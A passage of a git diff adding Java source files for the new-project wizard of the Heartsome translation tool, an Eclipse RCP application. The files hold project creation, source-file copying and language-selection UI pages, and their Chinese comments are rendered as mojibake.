IConverterCaller) { + ISafeRunnable runnable = new ISafeRunnable() { + + public void handleException(Throwable exception) { + logger.error(Messages.getString("wizard.NewProjectWizard.logger2"), exception); + } + + public void run() throws Exception { + convertImpl = (IConverterCaller) o; + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException ex) { + logger.error(Messages.getString("wizard.NewProjectWizard.logger2"), ex); + } + } + + private AbstractNewProjectWizardPage getPageByType(String type) { + for (AbstractNewProjectWizardPage extensionPage : extensionPages) { + if (extensionPage.getPageType().equals(type)) { + return extensionPage; + } + } + return null; + } + + @Override + public void addPages() { + firstPage = new NewProjectWizardProjInfoPage(); + addPage(firstPage); + secondPage = new NewProjectWizardLanguagePage(); + addPage(secondPage); + AbstractNewProjectWizardPage pageTm = getPageByType("TM"); + if (pageTm != null) { + addPage(pageTm); + } + AbstractNewProjectWizardPage pageTb = getPageByType("TB"); + if (pageTb != null) { + addPage(pageTb); + } + srcFilesPage = new NewProjectWizardSourceFilePage(); + srcFilesPage.setConvertInfo(convertImpl); + addPage(srcFilesPage); + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.IWorkbenchWizard#init(org.eclipse.ui.IWorkbench, + * org.eclipse.jface.viewers.IStructuredSelection) + */ + public void init(IWorkbench workbench, IStructuredSelection selection) { + + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.wizard.Wizard#performFinish() + */ + @Override + public boolean performFinish() { + final IProject project = firstPage.getProject(); + final List srcFiles = srcFilesPage.getSrcFiles(); + + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(final IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.beginTask(Messages.getString("wizard.NewProjectWizard.task1"), 3); + try { + createProject(project, new SubProgressMonitor(monitor, 1)); + // // 获å–æºæ–‡ä»¶å¹¶å¤åˆ¶åˆ°é¡¹ç›®ä¸­ + if (srcFiles != null) { + copySourceFile(project, Constant.FOLDER_SRC, srcFiles, new SubProgressMonitor(monitor, 1)); + } + initProjectConfig(project, new SubProgressMonitor(monitor, 1)); + + } catch (CoreException e) { + try { + project.delete(true, monitor); + } catch (CoreException e1) { + logger.error(Messages.getString("wizard.NewProjectWizard.logger3"), e1); + } + logger.error(Messages.getString("wizard.NewProjectWizard.logger4"), e); + } + monitor.done(); + } + }; + + try { + getContainer().run(true, true, runnable); + } catch (InvocationTargetException e) { + logger.error("", e); + return false; + } catch (InterruptedException e) { + logger.error("", e); + return false; + } + // 创建项目æˆåŠŸåŽåˆ·æ–°å¯¼å…¥/导出 RTF 功能的å¯ç”¨çŠ¶æ€ + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + IEvaluationService evaluationService = (IEvaluationService) window.getService(IEvaluationService.class); + if (evaluationService != null) { + evaluationService.requestEvaluation(RTFEnabledPropertyTester.PROPERTY_NAMESPACE + "." + + RTFEnabledPropertyTester.PROPERTY_ENABLED); + } + + if (srcFilesPage.isOpenConverter()) { + convertImpl.openConverter(sourcefiles); + } + + // 创建项目åŽåˆ·æ–°èµ„æºè§†å›¾ + try { + project.refreshLocal(IResource.DEPTH_INFINITE, null); + } catch (CoreException e) { + try { + project.delete(true, null); + } catch (CoreException e1) { + logger.error("", e1); + } + logger.error("", e); + } + return true; + } + + private void createProject(IProject project, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 3); + monitor.setTaskName(Messages.getString("wizard.NewProjectWizard.task1")); + try { + project.create(null); + monitor.worked(1); + if (!project.isOpen()) { + project.open(null); + } + monitor.worked(1); + + // 创建项目所需è¦çš„文件目录 + String[] folderNames = { Constant.FOLDER_INTERMEDDIATE, Constant.FOLDER_SRC, Constant.FOLDER_TGT, + Constant.FOLDER_XLIFF }; + createFolders(project, folderNames); + monitor.worked(1); + if (monitor.isCanceled()) { + project.delete(true, monitor); + throw new OperationCanceledException(); + } + } catch (CoreException e) { + logger.error(Messages.getString("wizard.NewProjectWizard.logger5"), e); + } finally { + monitor.done(); + } + } + + /** + * 创建项目中文件夹 + * @param project + * 文件夹所属的项目 + * @param folderNames + * 多个文件夹的åå­—; + */ + private void createFolders(IProject project, String[] folderNames) { + for (String folderName : folderNames) { + IFolder folder = project.getFolder(folderName); + if (!folder.exists()) { + try { + folder.create(true, true, null); + if (folderName.equals(Constant.FOLDER_INTERMEDDIATE)) { + createChildrenFoders(folder, new String[] { Constant.FOLDER_REPORT, Constant.FOLDER_SKL }); + } + } catch (CoreException e) { + logger.error(Messages.getString("wizard.NewProjectWizard.logger6"), e); + } + } + } + } + + /** + * 创建å­ç›®å½• + * @param parentFolder + * 父目录 + * @param childrenFolderNames + * å­ç›®å½•å称 + * @throws CoreException + * ; + */ + private void createChildrenFoders(IFolder parentFolder, String[] childrenFolderNames) throws CoreException { + if (parentFolder.exists()) { + for (String childName : childrenFolderNames) { + IFolder folder = parentFolder.getFolder(childName); + if (!folder.exists()) { + folder.create(true, true, null); + } + } + } + } + + /** + * 构建项目é…ç½®ä¿¡æ¯ + * @param project + * ; + * @throws CoreException + */ + private void initProjectConfig(final IProject project, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + final IProgressMonitor sMonitor = monitor; + sMonitor.beginTask(Messages.getString("wizard.NewProjectWizard.task2"), 3); + sMonitor.worked(1); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + ProjectInfoBean bean = new ProjectInfoBean(); + bean.setProjectName(project.getName()); + bean.setMapField(firstPage.getFieldMap()); + bean.setMapAttr(firstPage.getAttributeMap()); + bean.setSourceLang(secondPage.getSrcLanguage()); + bean.setTargetLang(secondPage.getTargetlanguage()); + for (AbstractNewProjectWizardPage extensionPage : extensionPages) { + if (extensionPage.getPageType().equals("TM")) { + bean.setTmDb(extensionPage.getSelectedDatabase()); + } else if (extensionPage.getPageType().equals("TB")) { + bean.setTbDb(extensionPage.getSelectedDatabase()); + } + } + sMonitor.worked(1); + + ProjectConfiger projCfg = ProjectConfigerFactory.getProjectConfiger(project); + sMonitor.worked(1); + projCfg.updateProjectConfig(bean); + + // è®°ä½å½“å‰è¯­è¨€ä¿¡æ¯ + IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + ps.setValue(IPreferenceConstants.NEW_PROJECT_SRC_LANG, bean.getSourceLang().getCode()); + List targetLangList = bean.getTargetLang(); + StringBuffer bf = new StringBuffer(); + for (Language lang : targetLangList) { + bf.append(lang.getCode()); + bf.append(","); + } + ps.setValue(IPreferenceConstants.NEW_PROJECT_TGT_LANG, bf.substring(0, bf.lastIndexOf(","))); + + if (sMonitor.isCanceled()) { + try { + project.delete(true, sMonitor); + } catch (CoreException e) { + logger.error("", e); + } + throw new OperationCanceledException(); + } + } + }); + sMonitor.done(); + } + + /** + * å°†æºæ–‡ä»¶å¤åˆ¶åˆ°é¡¹ç›®ä¸­ + * @param srcFiles + * æºæ–‡ä»¶è·¯å¾„列表 ; + * @param project + * 项目 + * @param folderName + * 目录å称 + * @throws CoreException + */ + private void copySourceFile(final IProject project, String folderName, final List srcFiles, + IProgressMonitor monitor) throws CoreException { + + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask(Messages.getString("wizard.NewProjectWizard.task3"), srcFiles.size()); + monitor.setTaskName(Messages.getString("wizard.NewProjectWizard.task3")); + final IProgressMonitor sMonitor = monitor; + final IFolder folder = project.getFolder(folderName); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + for (int i = 0; i < srcFiles.size(); i++) { + if (sMonitor.isCanceled()) { + try { + project.delete(true, sMonitor); + } catch (CoreException e) { + e.printStackTrace(); + } + throw new OperationCanceledException(); + } + File file = new File(srcFiles.get(i)); + String fileName = file.getName(); + InputStream inputStream; + try { + inputStream = new FileInputStream(file); + IFile iFile = folder.getFile(fileName); + if (iFile.exists()) { + if (!MessageDialog.openConfirm(getShell(), + Messages.getString("wizard.NewProjectWizard.msgTitle"), + Messages.getString("wizard.NewProjectWizard.msg1"))) { + continue; + } + } + iFile.create(inputStream, false, null); + sourcefiles.add(iFile); + sMonitor.worked(1); + } catch (Exception e) { + logger.error("", e); + MessageDialog.openInformation(getShell(), + Messages.getString("wizard.NewProjectWizard.msgTitle"), MessageFormat.format(Messages.getString("wizard.NewProjectWizard.msg2"), fileName)); + continue; + } finally { + sMonitor.done(); + } + } + } + }); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardDialog.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardDialog.java new file mode 100644 index 0000000..72857c3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardDialog.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.ts.ui.wizards; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.ts.ui.preferencepage.ProjectPropertiesPreferencePage; +import net.heartsome.cat.ts.ui.resource.Messages; +import net.heartsome.cat.ts.ui.util.PreferenceUtil; + +import org.eclipse.jface.wizard.IWizard; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; + +/** + * 新建项目å‘导框 + * @author peason + * @version + * @since JDK1.6 + */ +public class NewProjectWizardDialog extends TSWizardDialog { + + private Button btnSetting; + + public NewProjectWizardDialog(Shell parentShell, IWizard newWizard) { + super(parentShell, newWizard); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + btnSetting = createButton(parent, -1, Messages.getString("wizards.NewProjectWizardDialog.btnSetting"), true); + super.createButtonsForButtonBar(parent); + getButton(-1).addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PreferenceUtil.openPreferenceDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow(), ProjectPropertiesPreferencePage.ID); + if (getCurrentPage() instanceof NewProjectWizardProjInfoPage) { + NewProjectWizardProjInfoPage page = (NewProjectWizardProjInfoPage) getCurrentPage(); + page.reload(); + } + } + }); + } + + @Override + public void updateButtons() { + super.updateButtons(); + btnSetting.setVisible(getCurrentPage().getPreviousPage() == null); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardLanguagePage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardLanguagePage.java new file mode 100644 index 0000000..94c435b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardLanguagePage.java @@ -0,0 +1,393 @@ +package net.heartsome.cat.ts.ui.wizards; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.extensionpoint.AbstractNewProjectWizardPage; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.wizard.IWizardPage; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer; +import org.eclipse.nebula.widgets.tablecombo.TableCombo; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Listener; + +public class NewProjectWizardLanguagePage extends WizardPage { + + private List languages; + private TableComboViewer srcLangComboViewer; + private TargetLangSelect targetLangControl; + + private Validator validator; + private Language srcLanguage; + + private IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + + /** + * Create the wizard. + */ + public NewProjectWizardLanguagePage() { + super("wizardPage"); + setTitle(Messages.getString("wizard.NewProjectWizardLanguagePage.title")); + setDescription(Messages.getString("wizard.NewProjectWizardLanguagePage.desc")); + setImageDescriptor(Activator.getImageDescriptor("images/project/new-project-logo.png")); + setPageComplete(false); + + // 获å–语言列表 + languages = new ArrayList(LocaleService.getDefaultLanguage().values()); + Collections.sort(languages, new Comparator() { + public int compare(Language o1, Language o2) { + return o1.toString().compareTo(o2.toString()); + } + }); + validator = new Validator(); + targetLangControl = new TargetLangSelect(languages, validator); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(1, false)); + + // source language control + Group sourceLanguageGrp = new Group(container, SWT.NONE); + sourceLanguageGrp.setLayout(new GridLayout(1, false)); + sourceLanguageGrp.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + sourceLanguageGrp.setText(Messages.getString("wizard.NewProjectWizardLanguagePage.sourceLanguageGrp")); + + srcLangComboViewer = new TableComboViewer(sourceLanguageGrp, SWT.READ_ONLY | SWT.BORDER); + TableCombo tableCombo = srcLangComboViewer.getTableCombo(); + // set options. + tableCombo.setShowTableLines(false); + tableCombo.setShowTableHeader(false); + tableCombo.setDisplayColumnIndex(-1); + tableCombo.setShowImageWithinSelection(true); + tableCombo.setShowColorWithinSelection(false); + tableCombo.setShowFontWithinSelection(false); + tableCombo.setVisibleItemCount(20); + srcLangComboViewer.getTableCombo().setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + srcLangComboViewer.setLabelProvider(new LanguageLabelProvider()); + srcLangComboViewer.setContentProvider(new ArrayContentProvider()); + srcLangComboViewer.setInput(languages); + srcLangComboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection selection = (IStructuredSelection) event.getSelection(); + srcLanguage = (Language) selection.getFirstElement(); + validator.update(); + } + }); + // initialization remember value + String rmSrcLangCode = ps.getString(IPreferenceConstants.NEW_PROJECT_SRC_LANG); + if (rmSrcLangCode != null && !rmSrcLangCode.equals("")) { + for (Language srcLang : languages) { + if (srcLang.getCode().equals(rmSrcLangCode)) { + srcLangComboViewer.setSelection(new StructuredSelection(srcLang)); + break; + } + } + } + + // end source language + + // target language control + Group targetLanguageGrp = new Group(container, SWT.NONE); + targetLanguageGrp.setLayout(new GridLayout(3, false)); + targetLanguageGrp.setLayoutData(new GridData(SWT.FILL, SWT.FILL, false, true, 1, 1)); + targetLanguageGrp.setText(Messages.getString("wizard.NewProjectWizardLanguagePage.targetLanguageGrp")); + targetLangControl.createControl(targetLanguageGrp); + // end Target language + + setControl(container); + validator.update(); + } + + /** + * 获å–æºæ–‡è¨€ + * @return ; + */ + public Language getSrcLanguage() { + return this.srcLanguage; + } + + /** + * 获å–目标语言 + * @return 一组语言; + */ + public List getTargetlanguage() { + List targetLangList = new ArrayList(); + List objList = targetLangControl.getHasSelectedList(); + for (int i = 0; i < objList.size(); i++) { + targetLangList.add((Language) objList.get(i)); + } + return targetLangList; + } + + /** + * 处ç†æ‰©å±•é¡µé¢ä¸­éœ€è¦èŽ·å–项目æºè¯­è¨€é—®é¢˜ (non-Javadoc) + * @see org.eclipse.jface.wizard.WizardPage#getNextPage() + */ + public IWizardPage getNextPage() { + if (getWizard() == null) { + return null; + } + IWizardPage[] pages = getWizard().getPages(); + for (int i = 0; i < pages.length; i++) { + if (pages[i] instanceof AbstractNewProjectWizardPage) { + AbstractNewProjectWizardPage extensoinPage = (AbstractNewProjectWizardPage) pages[i]; + extensoinPage.setProjSourceLang(getSrcLanguage()); + } + } + return getWizard().getNextPage(this); + } + + /** + * 目标语言选择器 + * @author Jason + * @version + * @since JDK1.6 + */ + protected final class TargetLangSelect implements Listener { + private TableViewer canSelectTableViewer; + private TableViewer hasSelTableViewer; + + private Object canSelectInput; + private List hasSelectedList; + private Validator validator; + + private Button addBtn; + private Button deleteBtn; + private Button deleteAllBtn; + + /** + * 构造器,创建一个空白的无内容的组件 + */ + public TargetLangSelect() { + this(null, null); + } + + /** + * 构造器,创建一个带有å¯é€‰å†…容和验è¯å™¨çš„组件 + * @param input + * å¯ä»¥é€‰æ‹©çš„内容 + * @param validator + * 验è¯å™¨ + */ + public TargetLangSelect(Object input, Validator validator) { + this.hasSelectedList = new ArrayList(); + this.canSelectInput = input; + this.validator = validator; + } + + /** + * 创建组件 + * @param comp + * ; + */ + public void createControl(Composite comp) { + Composite canSelectComp = new Composite(comp, SWT.NONE); + canSelectComp.setLayout(new GridLayout(1, false)); + canSelectComp.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + canSelectTableViewer = new TableViewer(canSelectComp, SWT.BORDER | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + GridData gridData = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + gridData.widthHint = 100; + gridData.heightHint = 200; + canSelectTableViewer.getTable().setLayoutData(gridData); + + canSelectTableViewer.setLabelProvider(new LanguageLabelProvider()); + canSelectTableViewer.setContentProvider(new ArrayContentProvider()); + canSelectTableViewer.setInput(canSelectInput); + canSelectTableViewer.getTable().addListener(SWT.MouseDoubleClick, this); + + Composite selBtnComp = new Composite(comp, SWT.NONE); + selBtnComp.setLayout(new GridLayout(1, false)); + selBtnComp.setLayoutData(new GridData(SWT.LEFT, SWT.FILL, false, false, 1, 1)); + + addBtn = new Button(selBtnComp, SWT.NONE); + addBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + addBtn.setText(Messages.getString("wizard.NewProjectWizardLanguagePage.addBtn")); + addBtn.addListener(SWT.Selection, this); + + deleteBtn = new Button(selBtnComp, SWT.NONE); + deleteBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + deleteBtn.setText(Messages.getString("wizard.NewProjectWizardLanguagePage.deleteBtn")); + deleteBtn.addListener(SWT.Selection, this); + + deleteAllBtn = new Button(selBtnComp, SWT.NONE); + deleteAllBtn.setText(Messages.getString("wizard.NewProjectWizardLanguagePage.deleteAllBtn")); + deleteAllBtn.addListener(SWT.Selection, this); + + Composite hasSelComp = new Composite(comp, SWT.NONE); + hasSelComp.setLayout(new GridLayout(1, false)); + hasSelComp.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 1, 1)); + + hasSelTableViewer = new TableViewer(hasSelComp, SWT.BORDER | SWT.V_SCROLL | SWT.MULTI | SWT.FULL_SELECTION); + hasSelTableViewer.getTable().setLayoutData(gridData); + hasSelTableViewer.setLabelProvider(new LanguageLabelProvider()); + hasSelTableViewer.setContentProvider(new ArrayContentProvider()); + hasSelTableViewer.getTable().addListener(SWT.MouseDoubleClick, this); + + // initialization remember target language + String strTargetLang = ps.getString(IPreferenceConstants.NEW_PROJECT_TGT_LANG); + if (strTargetLang != null && !strTargetLang.equals("")) { + String[] langCodes = strTargetLang.split(","); + List targetLangList = new ArrayList(); + for (String code : langCodes) { + for (Language lang : languages) { + if (code.equals(lang.getCode())) { + targetLangList.add(lang); + break; + } + } + } + execSelected(new StructuredSelection(targetLangList)); + fireChangeEvent(); + } + } + + /** + * 当状æ€æ”¹å˜æ—¶ï¼Œè§¦å‘验è¯äº‹ä»¶ (non-Javadoc) + * @see org.eclipse.swt.widgets.Listener#handleEvent(org.eclipse.swt.widgets.Event) + */ + public void handleEvent(Event event) { + if (event.widget == canSelectTableViewer.getTable()) { + execSelected((IStructuredSelection) canSelectTableViewer.getSelection()); + } + if (event.widget == addBtn) { + execSelected((IStructuredSelection) canSelectTableViewer.getSelection()); + } + + // Delete Language + if (event.widget == hasSelTableViewer.getTable()) { + IStructuredSelection selection = (IStructuredSelection) hasSelTableViewer.getSelection(); + removeSelected(selection); + } + if (event.widget == deleteBtn) { + IStructuredSelection selection = (IStructuredSelection) hasSelTableViewer.getSelection(); + removeSelected(selection); + } + if (event.widget == deleteAllBtn) { + hasSelTableViewer.getTable().removeAll(); + hasSelectedList.clear(); + } + fireChangeEvent(); + } + + /** + * 当选择器的内容å‘生å˜åŒ–时,触å‘验è¯å™¨ ; + */ + private void fireChangeEvent() { + validator.update(); + } + + /** + * 选择选é‡çš„项 + * @param selection + * ; + */ + private void execSelected(IStructuredSelection selection) { + Iterator it = selection.iterator(); + while (it.hasNext()) { + Object obj = it.next(); + if (!hasSelectedList.contains(obj)) { + hasSelectedList.add(obj); + hasSelTableViewer.add(obj); + } + } + hasSelTableViewer.setSelection(selection); + } + + private void removeSelected(IStructuredSelection selection) { + hasSelectedList.removeAll(selection.toList()); + hasSelTableViewer.remove(selection.toArray()); + } + + /** @return the canSelectInput */ + public Object getCanSelectInput() { + return canSelectInput; + } + + /** @return the hasSelectedList */ + public List getHasSelectedList() { + return hasSelectedList; + } + + /** @return the validator */ + public Validator getValidator() { + return validator; + } + + /** @return the canSelectlistViewer */ + public TableViewer getCanSelectTableViewer() { + return canSelectTableViewer; + } + + /** @return the hasSelListViewer */ + public TableViewer getHasSelTableViewer() { + return hasSelTableViewer; + } + + } + + /** 验è¯å™¨ã€‚验è¯ç•Œé¢è¾“å…¥ **/ + private final class Validator { + + public void update() { + + if (getSrcLanguage() == null) { + setErrorMessage(Messages.getString("wizard.NewProjectWizardLanguagePage.msg1")); + setPageComplete(false); + return; + } + + if (getTargetlanguage() == null || getTargetlanguage().size() < 1) { + setErrorMessage(Messages.getString("wizard.NewProjectWizardLanguagePage.msg2")); + setPageComplete(false); + return; + } + + String srcCode = getSrcLanguage().getCode(); + List target = getTargetlanguage(); + for (Language tLang : target) { + String tCode = tLang.getCode(); + if (tCode.equals(srcCode)) { + setErrorMessage(Messages.getString("wizard.NewProjectWizardLanguagePage.msg3")); + setPageComplete(false); + return; + } + } + + setPageComplete(true); + setErrorMessage(null); + setMessage(null); + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardProjInfoPage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardProjInfoPage.java new file mode 100644 index 0000000..55ed210 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardProjInfoPage.java @@ -0,0 +1,427 @@ +/** + * NewProjectWizardOnePage.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.wizards; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.Map.Entry; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.ValidationUtils; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.resource.Messages; +import net.heartsome.cat.ts.ui.util.PreferenceUtil; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspace; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Text; + +/** + * 创建项目第一个å‘导页,用于输入项目å称和设置æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€ + * @author Jason + * @version + * @since JDK1.6 + */ +public class NewProjectWizardProjInfoPage extends WizardPage implements Listener { + + private Text projectNameText; + + private Validator validator; + + private ArrayList lstText; + + private ArrayList lstCombo; + + private Group groupField; + + private ScrolledComposite cmpScrolled; + + private Composite cmpField; + + /** + * Create the wizard. + */ + public NewProjectWizardProjInfoPage() { + super("wizardPage"); + setImageDescriptor(Activator.getImageDescriptor("images/project/new-project-logo.png")); + setTitle(Messages.getString("wizard.NewProjectWizardProjInfoPage.title")); + setDescription(Messages.getString("wizard.NewProjectWizardProjInfoPage.desc")); + setPageComplete(false); + validator = new Validator(); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(1, false)); + + // Project Name Control + int labelWidth = 100; + GridData gdLabel = new GridData(SWT.LEFT, SWT.CENTER, false, false, 1, 1); + gdLabel.widthHint = labelWidth; + + Composite projInfoComp = new Composite(container, SWT.NONE); + projInfoComp.setLayout(new GridLayout(2, false)); + projInfoComp.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label label = new Label(projInfoComp, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewProjectWizardProjInfoPage.projectNameText")); + + projectNameText = new Text(projInfoComp, SWT.BORDER); + projectNameText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + projectNameText.setTextLimit(21); + projectNameText.addListener(SWT.Modify, this); + + ArrayList lstField = PreferenceUtil.getProjectFieldList(); + LinkedHashMap> mapAttr = PreferenceUtil.getProjectAttributeMap(); + if ((lstField != null && lstField.size() > 0) || (mapAttr != null && mapAttr.size() > 0)) { + groupField = new Group(container, SWT.None); + groupField.setLayout(new GridLayout()); + GridData fieldData = new GridData(GridData.FILL_HORIZONTAL); + fieldData.heightHint = 350; + groupField.setLayoutData(fieldData); + groupField.setText(Messages.getString("wizards.NewProjectWizardProjInfoPage.groupField")); + cmpScrolled = new ScrolledComposite(groupField, SWT.V_SCROLL); + cmpScrolled.setAlwaysShowScrollBars(false); + cmpScrolled.setLayoutData(new GridData(GridData.FILL_BOTH)); + cmpScrolled.setExpandHorizontal(true); + cmpScrolled.setExpandVertical(true); + + cmpField = new Composite(cmpScrolled, SWT.None); + cmpField.setLayout(new GridLayout(2, false)); + cmpScrolled.setContent(cmpField); + cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + + if (lstField != null && lstField.size() > 0) { + lstText = new ArrayList(); + for (String strField : lstField) { + Label lbl = new Label(cmpField, SWT.WRAP); + String strLbl = strField.replaceAll("&", "&&") + + Messages.getString("wizards.NewProjectWizardProjInfoPage.colon"); + lbl.setText(strLbl); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + GridData gd = (GridData) lbl.getLayoutData(); + Point p = lbl.computeSize(SWT.DEFAULT, SWT.DEFAULT); + if (p.x >= 100) { + gd.widthHint = 100; + } + Text txt = new Text(cmpField, SWT.BORDER); + txt.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txt.setData(strField); + txt.addListener(SWT.Modify, this); + lstText.add(txt); + cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + } + + if (mapAttr != null && mapAttr.size() > 0) { + Iterator>> it = mapAttr.entrySet().iterator(); + lstCombo = new ArrayList(); + while (it.hasNext()) { + Entry> entry = (Entry>) it.next(); + String attrName = entry.getKey(); + ArrayList lstAttrVal = entry.getValue(); + lstAttrVal.add(0, ""); + Label lbl = new Label(cmpField, SWT.WRAP); + String strLbl = attrName.replaceAll("&", "&&") + + Messages.getString("wizards.NewProjectWizardProjInfoPage.colon"); + lbl.setText(strLbl); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + GridData gd = (GridData) lbl.getLayoutData(); + Point p = lbl.computeSize(SWT.DEFAULT, SWT.DEFAULT); + if (p.x >= 100) { + gd.widthHint = 100; + } + Combo cmb = new Combo(cmpField, SWT.READ_ONLY); + cmb.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + cmb.setItems(lstAttrVal.toArray(new String[lstAttrVal.size()])); + cmb.select(0); + cmb.setData(attrName); + lstCombo.add(cmb); + cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + } + + 